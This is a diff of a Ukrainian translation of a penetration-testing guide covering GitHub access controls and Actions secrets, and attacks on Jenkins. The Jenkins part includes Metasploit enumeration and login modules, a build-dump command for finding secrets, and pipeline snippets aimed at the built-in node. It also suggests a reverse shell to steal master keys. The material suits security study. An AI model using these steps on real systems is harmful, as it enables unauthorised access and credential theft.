### **Персональні токени доступу**
|
||||
|
||||
Ви можете згенерувати токен особистого доступу, щоб **надати додатку доступ до вашого облікового запису**. При створенні токена особистого доступу **користувач** повинен **вказати** **дозволи**, які **токен** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Ви можете згенерувати персональний токен доступу, щоб **надати додатку доступ до вашого облікового запису**. При створенні персонального токена доступу **користувач** повинен **вказати** **дозволи**, які **токен** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth додатки
|
||||
|
||||
Oauth додатки можуть запитувати у вас дозволи **для доступу до частини вашої інформації в github або для видавання вас за себе** для виконання деяких дій. Загальним прикладом цієї функціональності є **кнопка входу з github**, яку ви можете знайти на деяких платформах.
|
||||
Oauth додатки можуть запитувати у вас дозволи **для доступу до частини вашої інформації в github або для видавання вас за себе** для виконання деяких дій. Загальний приклад цієї функціональності - це **кнопка входу з github**, яку ви можете знайти на деяких платформах.
|
||||
|
||||
- Ви можете **створити** свої власні **Oauth додатки** у [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Ви можете побачити всі **Oauth додатки, які мають доступ до вашого облікового запису** у [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Ви можете побачити **обсяги, які Oauth Apps можуть запитувати** у [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Ви можете побачити доступ третіх сторін до додатків в **організації** у _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Ви можете **створити** свої власні **Oauth додатки** в [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Ви можете побачити всі **Oauth додатки, які мають доступ до вашого облікового запису** в [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Ви можете побачити **обсяги, які Oauth Apps можуть запитувати** в [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Ви можете побачити доступ третіх сторін додатків в **організації** в _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Деякі **рекомендації з безпеки**:
|
||||
|
||||
- **OAuth App** завжди має **діяти як аутентифікований користувач GitHub у всьому GitHub** (наприклад, при наданні сповіщень користувачеві) і з доступом лише до вказаних обсягів.
|
||||
- OAuth App може використовуватися як постачальник ідентичності, активуючи "Увійти з GitHub" для аутентифікованого користувача.
|
||||
- **Не** створюйте **OAuth App**, якщо ви хочете, щоб ваш додаток діяв на **одному репозиторії**. З обсягом `repo` OAuth Apps можуть **діяти на _всіх_** репозиторіях аутентифікованого користувача.
|
||||
- **Не** створюйте **OAuth App**, якщо ви хочете, щоб ваш додаток діяв на **одному репозиторії**. З обсягом `repo` OAuth Apps можуть **діяти на _всіх_**\*\* репозиторіях аутентифікованого користувача\*\*.
|
||||
- **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди або компанії**. OAuth Apps аутентифікуються як **один користувач**, тому якщо одна особа створює OAuth App для використання компанією, а потім залишає компанію, ніхто інший не матиме доступу до нього.
|
||||
- **Більше** тут [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Додатки Github
|
||||
|
||||
Додатки Github можуть запитувати дозволи для **доступу до вашої інформації в github або видавання вас за себе** для виконання конкретних дій над конкретними ресурсами. У GitHub Apps вам потрібно вказати репозиторії, до яких додаток матиме доступ.
|
||||
Додатки Github можуть запитувати дозволи для **доступу до вашої інформації в github або видавати вас за себе** для виконання конкретних дій над конкретними ресурсами. У GitHub Apps вам потрібно вказати репозиторії, до яких додаток матиме доступ.
|
||||
|
||||
- Щоб встановити GitHub App, ви повинні бути **власником організації або мати адміністративні дозволи** в репозиторії.
|
||||
- GitHub App має **підключатися до особистого облікового запису або організації**.
|
||||
- Ви можете створити свій власний додаток GitHub у [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Ви можете побачити всі **додатки GitHub, які мають доступ до вашого облікового запису** у [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Ви можете створити свій власний додаток GitHub в [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Ви можете побачити всі **додатки GitHub, які мають доступ до вашого облікового запису** в [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Це **API кінцеві точки для додатків GitHub** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка, він зможе отримати доступ до деяких з них.
|
||||
- Ви можете побачити встановлені додатки в **організації** у _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Ви можете побачити встановлені додатки в **організації** в _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Деякі рекомендації з безпеки:
|
||||
|
||||
- GitHub App має **виконувати дії незалежно від користувача** (якщо додаток не використовує [токен користувача до сервера](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Щоб зберегти токени доступу користувача до сервера більш безпечними, ви можете використовувати токени доступу, які закінчуються через 8 годин, і токен оновлення, який можна обміняти на новий токен доступу. Для отримання додаткової інформації дивіться "[Оновлення токенів доступу користувача до сервера](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- GitHub App має **виконувати дії незалежно від користувача** (якщо додаток не використовує [токен користувача до сервера](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Щоб зберегти токени доступу користувача до сервера більш безпечними, ви можете використовувати токени доступу, які будуть дійсні протягом 8 годин, і токен оновлення, який можна обміняти на новий токен доступу. Для отримання додаткової інформації дивіться "[Оновлення токенів доступу користувача до сервера](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Переконайтеся, що GitHub App інтегрується з **конкретними репозиторіями**.
|
||||
- GitHub App має **підключатися до особистого облікового запису або організації**.
|
||||
- Не очікуйте, що GitHub App знатиме і робитиме все, що може користувач.
|
||||
- Не очікуйте, що GitHub App знатиме і робитиме все, що може зробити користувач.
|
||||
- **Не використовуйте GitHub App, якщо вам просто потрібен сервіс "Увійти з GitHub"**. Але GitHub App може використовувати [потік ідентифікації користувача](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _і_ виконання інших дій.
|
||||
- Не створюйте GitHub App, якщо ви _лише_ хочете діяти як користувач GitHub і робити все, що може зробити цей користувач.
|
||||
- Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінити файли робочого процесу, ви повинні аутентифікуватися від імені користувача з токеном OAuth, який включає обсяг `workflow`. Користувач повинен мати адміністративні або записні дозволи на репозиторій, що містить файл робочого процесу. Для отримання додаткової інформації дивіться "[Розуміння обсягів для OAuth додатків](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
@@ -140,15 +140,15 @@ Git дії дозволяють автоматизувати **виконанн
|
||||
|
||||
### Налаштування
|
||||
|
||||
У _https://github.com/organizations/\<org_name>/settings/actions_ можливо перевірити **налаштування github actions** для організації.
|
||||
У _https://github.com/organizations/\<org_name>/settings/actions_ можна перевірити **налаштування github actions** для організації.
|
||||
|
||||
Можливо заборонити використання github actions повністю, **дозволити всі github actions**, або просто дозволити певні дії.
|
||||
Можна заборонити використання github actions повністю, **дозволити всі github actions** або просто дозволити певні дії.
|
||||
|
||||
Також можливо налаштувати **хто потребує схвалення для виконання Github Action** та **дозволи GITHUB_TOKEN** Github Action, коли вона виконується.
|
||||
Також можна налаштувати **хто потребує схвалення для запуску Github Action** та **дозволи GITHUB_TOKEN** Github Action, коли вона запускається.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action зазвичай потребують певних секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути їх розміщення у відкритому тексті** в репозиторії, github дозволяє розміщувати їх як **Secrets**.
|
||||
Github Action зазвичай потребує деяких секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути їх розміщення у відкритому тексті** в репозиторії, github дозволяє розміщувати їх як **Secrets**.
|
||||
|
||||
Ці секрети можуть бути налаштовані **для репозиторію або для всієї організації**. Тоді, щоб **Action могла отримати доступ до секрету**, вам потрібно оголосити його так:
|
||||
```yaml
|
||||
@@ -168,75 +168,75 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Secrets **можна отримати лише з Github Actions**, які їх оголосили.
|
||||
> Секрети **можна отримати лише з Github Actions**, які їх оголосили.
|
||||
|
||||
> Після налаштування в репозиторії або організаціях **користувачі github більше не зможуть отримати до них доступ**, вони зможуть лише **змінювати їх**.
|
||||
> Після налаштування в репозиторії або організаціях **користувачі github не зможуть отримати до них доступ знову**, вони зможуть лише **змінювати їх**.
|
||||
|
||||
Отже, **єдиний спосіб вкрасти секрети github - це мати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до секретів, оголошених для Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github дозволяє створювати **середовища**, де ви можете зберігати **секрети**. Потім ви можете надати github action доступ до секретів всередині середовища за допомогою чогось на кшталт:
|
||||
Github дозволяє створювати **середовища**, де ви можете зберігати **секрети**. Потім ви можете надати github action доступ до секретів всередині середовища за допомогою чогось на зразок:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
You can configure an environment to be **доступним** by **всіма гілками** (за замовчуванням), **тільки захищеними** гілками або **вказати**, які гілки можуть отримати доступ до нього.\
|
||||
It can also set a **кількість необхідних оглядів** before **виконання** an **дії** using an **середовище** or **чекати** some **час** before allowing deployments to proceed.
|
||||
Ви можете налаштувати середовище, щоб до нього **мали доступ** **всі гілки** (за замовчуванням), **тільки захищені** гілки або **вказати**, які гілки можуть отримати доступ до нього.\
|
||||
Також можна встановити **кількість необхідних перевірок** перед **виконанням** **дії** за допомогою **середовища** або **почекати** деякий **час** перед тим, як дозволити розгортання.
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action can be **виконано всередині середовища github** or can be executed in a **інфраструктурі третьої сторони** configured by the user.
|
||||
Github Action може бути **виконаний у середовищі github** або може бути виконаний на **інфраструктурі третьої сторони**, налаштованій користувачем.
|
||||
|
||||
Several organizations will allow to run Github Actions in a **інфраструктурі третьої сторони** as it use to be **дешевше**.
|
||||
Декілька організацій дозволяють запускати Github Actions на **інфраструктурі третьої сторони**, оскільки це зазвичай **дешевше**.
|
||||
|
||||
You can **перелічити самостійно хостовані ранери** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Ви можете **перелічити самостійно хостовані ранери** організації за адресою _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
Спосіб знайти, які **Github Actions виконуються в не-github інфраструктурі**, - це шукати `runs-on: self-hosted` у конфігурації yaml Github Action.
|
||||
|
||||
It's **неможливо запустити Github Action організації всередині самостійно хостованої коробки** of a different organization because **унікальний токен генерується для Ранера** when configuring it to know where the runner belongs.
|
||||
**Неможливо запустити Github Action організації всередині самостійно хостованого середовища** іншої організації, оскільки **унікальний токен генерується для Ранера** під час його налаштування, щоб знати, до якої організації належить ранер.
|
||||
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **може отримати доступ до метаданих** and **викрасти токен сервісного облікового запису** the machine is running with.
|
||||
Якщо кастомний **Github Runner налаштований на машині всередині AWS або GCP**, наприклад, Action **може отримати доступ до кінцевої точки метаданих** і **викрасти токен облікового запису служби**, з яким працює машина.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **шкідливим** and will **скомпрометувати** the **контейнер** where it's being executed.
|
||||
Якщо всі дії (або шкідлива дія) дозволені, користувач може використовувати **Github action**, яка є **шкідливою** і **скомпрометує** **контейнер**, в якому вона виконується.
|
||||
|
||||
> [!CAUTION]
|
||||
> A **шкідливий Github Action** run could be **зловжито** by the attacker to:
|
||||
> Запуск **шкідливої Github Action** може бути **зловжито** зловмисником для:
|
||||
>
|
||||
> - **Викрасти всі секрети** the Action has access to
|
||||
> - **Переміщатися латерально** if the Action is executed inside a **інфраструктурі третьої сторони** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Зловживати токеном** used by the **workflow** to **викрасти код репозиторію** where the Action is executed or **навіть змінити його**.
|
||||
> - **Викрадення всіх секретів**, до яких має доступ Action
|
||||
> - **Бічного переміщення**, якщо Action виконується в **інфраструктурі третьої сторони**, де можна отримати доступ до токена SA, що використовується для запуску машини (можливо, через сервіс метаданих)
|
||||
> - **Зловживання токеном**, що використовується **робочим процесом**, щоб **викрасти код репозиторію**, в якому виконується Action, або **навіть змінити його**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections are designed to **не надавати повний контроль над репозиторієм** to the users. The goal is to **встановити кілька методів захисту перед тим, як зможете писати код всередині деякої гілки**.
|
||||
Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як мати можливість писати код у деякій гілці**.
|
||||
|
||||
The **захисти гілок репозиторію** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
**Захисти гілок репозиторію** можна знайти за адресою _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **неможливо встановити захист гілки на рівні організації**. So all of them must be declared on each repo.
|
||||
> **Неможливо встановити захист гілки на рівні організації**. Тому всі вони повинні бути оголошені в кожному репозиторії.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Різні захисти можуть бути застосовані до гілки (наприклад, до master):
|
||||
|
||||
- You can **вимагати PR перед злиттям** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Вимагати кількість схвалень**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Скасувати схвалення, коли нові коміти додаються**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Вимагати оглядів від Власників коду**. At least 1 code owner of the repo needs to approve the PR (so "випадкові" користувачі не можуть його схвалити)
|
||||
- **Обмежити, хто може скасувати огляди запитів на злиття.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Дозволити вказаним акторам обійти вимоги запиту на злиття**. These users will be able to bypass previous restrictions.
|
||||
- **Вимагати, щоб перевірки статусу пройшли перед злиттям.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
|
||||
- **Вимагати вирішення розмови перед злиттям**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Вимагати підписаних комітів**. The commits need to be signed.
|
||||
- **Вимагати лінійної історії.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Включити адміністраторів**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Обмежити, хто може надсилати до відповідних гілок**. Restrict who can send a PR.
|
||||
- Ви можете **вимагати PR перед злиттям** (тому ви не можете безпосередньо зливати код у гілку). Якщо це вибрано, можуть бути застосовані різні інші захисти:
|
||||
- **Вимагати кількість схвалень**. Дуже поширено вимагати, щоб 1 або 2 інші особи схвалили ваш PR, щоб одна особа не могла безпосередньо зливати код.
|
||||
- **Відхиляти схвалення, коли нові коміти додаються**. Якщо ні, користувач може схвалити легітимний код, а потім користувач може додати шкідливий код і злити його.
|
||||
- **Вимагати перевірок від Власників Коду**. Принаймні 1 власник коду репозиторію повинен схвалити PR (щоб "випадкові" користувачі не могли його схвалити)
|
||||
- **Обмежити, хто може відхиляти перевірки запитів на злиття.** Ви можете вказати людей або команди, яким дозволено відхиляти перевірки запитів на злиття.
|
||||
- **Дозволити вказаним акторам обійти вимоги запиту на злиття**. Ці користувачі зможуть обійти попередні обмеження.
|
||||
- **Вимагати, щоб перевірки статусу пройшли перед злиттям.** Деякі перевірки повинні пройти перед тим, як зможете злити коміт (наприклад, github action, що перевіряє, чи немає явних секретів).
|
||||
- **Вимагати вирішення розмови перед злиттям**. Усі коментарі до коду повинні бути вирішені перед тим, як PR може бути злитий.
|
||||
- **Вимагати підписаних комітів**. Коміти повинні бути підписані.
|
||||
- **Вимагати лінійної історії.** Запобігти злиттю комітів, які були надіслані до відповідних гілок.
|
||||
- **Включити адміністраторів**. Якщо це не встановлено, адміністратори можуть обійти обмеження.
|
||||
- **Обмежити, хто може надсилати до відповідних гілок**. Обмежити, хто може надіслати PR.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **репозиторії можуть бути захищені, що заважає вам надсилати код до master** for example to compromise the CI/CD pipeline.
|
||||
> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам надсилати код до master**, наприклад, щоб скомпрометувати CI/CD pipeline.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Jenkins - це інструмент, який пропонує простий спосіб створення середовища **безперервної інтеграції** або **безперервної доставки** (CI/CD) для майже **будь-якої** комбінації **мов програмування** та репозиторіїв вихідного коду за допомогою конвеєрів. Крім того, він автоматизує різні рутинні завдання розробки. Хоча Jenkins не усуває **необхідність створення скриптів для окремих кроків**, він забезпечує швидший і надійніший спосіб інтеграції всього послідовності інструментів збірки, тестування та розгортання, ніж той, який можна легко створити вручну.
|
||||
|
||||
@@ -10,9 +10,9 @@ Jenkins - це інструмент, який пропонує простий с
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
## Неавтентифіковане перерахування
|
||||
|
||||
Щоб шукати цікаві сторінки Jenkins без аутентифікації, такі як (_/people_ або _/asynchPeople_, це перераховує поточних користувачів), ви можете використовувати:
|
||||
Щоб шукати цікаві сторінки Jenkins без автентифікації, такі як (_/people_ або _/asynchPeople_, це перераховує поточних користувачів), ви можете використовувати:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
@@ -20,9 +20,9 @@ msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Без облікових даних ви можете заглянути всередину _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **імен користувачів**.
|
||||
Без облікових даних ви можете переглянути вміст _**/asynchPeople/**_ або _**/securityRealm/user/admin/search/index?q=**_ для **імен користувачів**.
|
||||
|
||||
Ви можете отримати версію Jenkins з шляху _**/oops**_ або _**/error**_
|
||||
Ви можете отримати версію Jenkins з шляху _**/oops**_ або _**/error**_.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -46,7 +46,7 @@ basic-jenkins-information.md
|
||||
|
||||
### **SSO Вхід**
|
||||
|
||||
Також, якщо **функціональність**/**плагіни** **SSO** були присутні, то вам слід спробувати **увійти** в додаток, використовуючи тестовий обліковий запис (тобто тестовий **Github/Bitbucket обліковий запис**). Трюк з [**тут**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Також, якщо **функціональність**/**плагіни** **SSO** були присутні, то ви повинні спробувати **увійти** в додаток, використовуючи тестовий обліковий запис (тобто, тестовий **Github/Bitbucket обліковий запис**). Трюк з [**тут**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Брутфорс
|
||||
|
||||
@@ -60,9 +60,9 @@ msf> use auxiliary/scanner/http/jenkins_login
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Багато організацій поєднують **SaaS-based source control management (SCM) systems** такі як GitHub або GitLab з **внутрішнім, самостійно розгорнутим CI** рішенням, таким як Jenkins або TeamCity. Це налаштування дозволяє CI системам **отримувати webhook події від постачальників SaaS source control**, в основному для запуску завдань конвеєра.
|
||||
Багато організацій поєднують **SaaS-системи управління вихідним кодом (SCM)**, такі як GitHub або GitLab, з **внутрішнім, самостійно розгорнутим CI** рішенням, таким як Jenkins або TeamCity. Така конфігурація дозволяє CI системам **отримувати події вебхуків від постачальників SaaS управління вихідним кодом**, в основному для запуску завдань конвеєра.
|
||||
|
||||
Щоб досягти цього, організації **дозволяють** **IP-діапазони** **SCM платформ**, дозволяючи їм отримувати доступ до **внутрішньої CI системи** через **webhooks**. Однак важливо зазначити, що **будь-хто** може створити **обліковий запис** на GitHub або GitLab і налаштувати його для **тригера webhook**, потенційно надсилаючи запити до **внутрішньої CI системи**.
|
||||
Щоб досягти цього, організації **дозволяють** **IP-діапазони** **платформ SCM**, дозволяючи їм отримувати доступ до **внутрішньої CI системи** через **вебхуки**. Однак важливо зазначити, що **будь-хто** може створити **обліковий запис** на GitHub або GitLab і налаштувати його для **тригера вебхука**, потенційно надсилаючи запити до **внутрішньої CI системи**.
|
||||
|
||||
Перевірте: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
@@ -71,7 +71,7 @@ msf> use auxiliary/scanner/http/jenkins_login
|
||||
У цих сценаріях ми будемо припускати, що у вас є дійсний обліковий запис для доступу до Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Залежно від механізму **Authorization**, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви **можете або не можете виконати наступні атаки.**
|
||||
> Залежно від механізму **Авторизації**, налаштованого в Jenkins, і дозволів скомпрометованого користувача, ви **можете або не можете виконати наступні атаки.**
|
||||
|
||||
Для отримання додаткової інформації перевірте основну інформацію:
|
||||
|
||||
@@ -85,7 +85,7 @@ basic-jenkins-information.md
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Використовуйте [цей скрипт](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти відкриті секрети.
|
||||
Використовуйте [цей скрипт](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) для вивантаження консолей збірок та змінних середовища збірки, щоб сподіватися знайти секрети у відкритому тексті.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
@@ -97,7 +97,7 @@ gitleaks detect --no-git -v
|
||||
|
||||
.png>)
|
||||
|
||||
Ви зазвичай знайдете облікові дані Jenkins ssh у **глобальному провайдері** (`/credentials/`), тому ви також можете їх скинути так, як ви скинули б будь-яку іншу таємницю. Більше інформації в [**Розділі скидання секретів**](./#dumping-secrets).
|
||||
Ви зазвичай знайдете облікові дані ssh Jenkins у **глобальному постачальнику** (`/credentials/`), тому ви також можете їх скинути, як і будь-яку іншу таємницю. Більше інформації в [**Розділі скидання секретів**](./#dumping-secrets).
|
||||
|
||||
### **RCE в Jenkins**
|
||||
|
||||
@@ -107,7 +107,7 @@ gitleaks detect --no-git -v
|
||||
|
||||
### **RCE Створення/Модифікація проекту**
|
||||
|
||||
Створення/модифікація проекту є способом отримання RCE над сервером Jenkins:
|
||||
Створення/модифікація проекту є способом отримання RCE на сервері Jenkins:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
@@ -115,7 +115,7 @@ jenkins-rce-creating-modifying-project.md
|
||||
|
||||
### **RCE Виконання Groovy скрипту**
|
||||
|
||||
Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути більш непомітним, ніж створення нового проекту:
|
||||
Ви також можете отримати RCE, виконуючи Groovy скрипт, який може бути менш помітним, ніж створення нового проекту:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
@@ -151,7 +151,7 @@ jenkins-rce-creating-modifying-pipeline.md
|
||||
- **Оновлення основної гілки** і очікування, поки вона буде виконана якимось чином
|
||||
|
||||
> [!NOTE]
|
||||
> Якщо ви **зовнішній користувач**, вам не слід очікувати, що ви зможете створити **PR до основної гілки** репозиторію **іншого користувача/організації** і **запустити pipeline**... але якщо це **погано налаштовано**, ви могли б повністю **скомпрометувати компанії, просто експлуатуючи це**.
|
||||
> Якщо ви **зовнішній користувач**, вам не слід очікувати, що ви зможете створити **PR до основної гілки** репозиторію **іншого користувача/організації** і **запустити pipeline**... але якщо він **погано налаштований**, ви можете повністю **скомпрометувати компанії, просто експлуатуючи це**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
@@ -184,7 +184,7 @@ basic-jenkins-information.md
|
||||
|
||||
Облікові дані можуть бути **обмежені глобальними постачальниками** (`/credentials/`) або **конкретними проектами** (`/job/<project-name>/configure`). Тому, щоб ексфільтрувати всі з них, вам потрібно **зламати принаймні всі проекти**, які містять секрети, і виконати користувацькі/отруйні конвеєри.
|
||||
|
||||
Є ще одна проблема: щоб отримати **секрет всередині env** конвеєра, вам потрібно **знати ім'я та тип секрету**. Наприклад, якщо ви намагаєтеся **завантажити** **секрет** **`usernamePassword`** як **`string`** **секрет**, ви отримаєте цю **помилку**:
|
||||
Є ще одна проблема: щоб отримати **секрет всередині env** конвеєра, вам потрібно **знати ім'я та тип секрету**. Наприклад, якщо ви намагаєтеся **завантажити** **секрет** **`usernamePassword`** як **секрет** **`string`**, ви отримаєте цю **помилку**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
@@ -219,8 +219,8 @@ env
|
||||
В кінці цієї сторінки ви можете **знайти всі типи облікових даних**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> Найкращий спосіб **вивести всі секрети одразу** - це **компрометувати** машину **Jenkins** (наприклад, запустивши реверс-шелл у **вбудованому вузлі**) і потім **викрити** **майстер-ключі** та **зашифровані секрети** і розшифрувати їх офлайн.\
|
||||
> Більше про те, як це зробити, у розділі [Nodes & Agents](./#nodes-and-agents) та в розділі [Post Exploitation](./#post-exploitation).
|
||||
> Найкращий спосіб **вивантажити всі секрети одразу** - це **зламати** машину **Jenkins** (наприклад, запустивши реверс-шелл у **вбудованому вузлі**) і потім **викрити** **майстер-ключі** та **зашифровані секрети** і розшифрувати їх офлайн.\
|
||||
> Більше про те, як це зробити, в розділі [Nodes & Agents](./#nodes-and-agents) та в розділі [Post Exploitation](./#post-exploitation).
|
||||
|
||||
### Тригери
|
||||
|
||||
@@ -234,7 +234,7 @@ triggers { cron('H */4 * * 1-5') }
|
||||
|
||||
### Вузли та Агенти
|
||||
|
||||
**Екземпляр Jenkins** може мати **різні агенти, що працюють на різних машинах**. З точки зору зловмисника, доступ до різних машин означає **різні потенційні облікові дані хмари** для крадіжки або **різний мережевий доступ**, який можна зловживати для експлуатації інших машин.
|
||||
**Екземпляр Jenkins** може мати **різні агенти, що працюють на різних машинах**. З точки зору зловмисника, доступ до різних машин означає **різні потенційні облікові дані хмари** для викрадення або **різний мережевий доступ**, який може бути використаний для експлуатації інших машин.
|
||||
|
||||
Для отримання додаткової інформації перевірте основну інформацію:
|
||||
|
||||
@@ -242,13 +242,13 @@ triggers { cron('H */4 * * 1-5') }
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Ви можете перерахувати **сконфігуровані вузли** в `/computer/`, зазвичай ви знайдете **`Вбудований Вузол`** (який є вузлом, що запускає Jenkins) і потенційно більше:
|
||||
Ви можете перерахувати **сконфігуровані вузли** в `/computer/`, зазвичай ви знайдете \*\*`Вбудований Вузол` \*\* (який є вузлом, що виконує Jenkins) і потенційно більше:
|
||||
|
||||
.png>)
|
||||
|
||||
Це **особливо цікаво скомпрометувати Вбудований вузол**, оскільки він містить чутливу інформацію Jenkins.
|
||||
|
||||
Щоб вказати, що ви хочете **запустити** **конвеєр** у **вбудованому вузлі Jenkins**, ви можете вказати в конвеєрі наступну конфігурацію:
|
||||
Щоб вказати, що ви хочете **запустити** **конвеєр** на **вбудованому вузлі Jenkins**, ви можете вказати в конвеєрі наступну конфігурацію:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -286,7 +286,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## Довільне Читання Файлів до RCE
|
||||
## Читання довільних файлів до RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Після Експлуатації
|
||||
## Після експлуатації
|
||||
|
||||
### Metasploit
|
||||
```
|
||||
@@ -314,7 +314,7 @@ msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Secrets
|
||||
|
||||
Ви можете перерахувати секрети, отримавши доступ до `/credentials/`, якщо у вас достатньо прав. Зверніть увагу, що це лише перераховує секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **більше облікових даних**.
|
||||
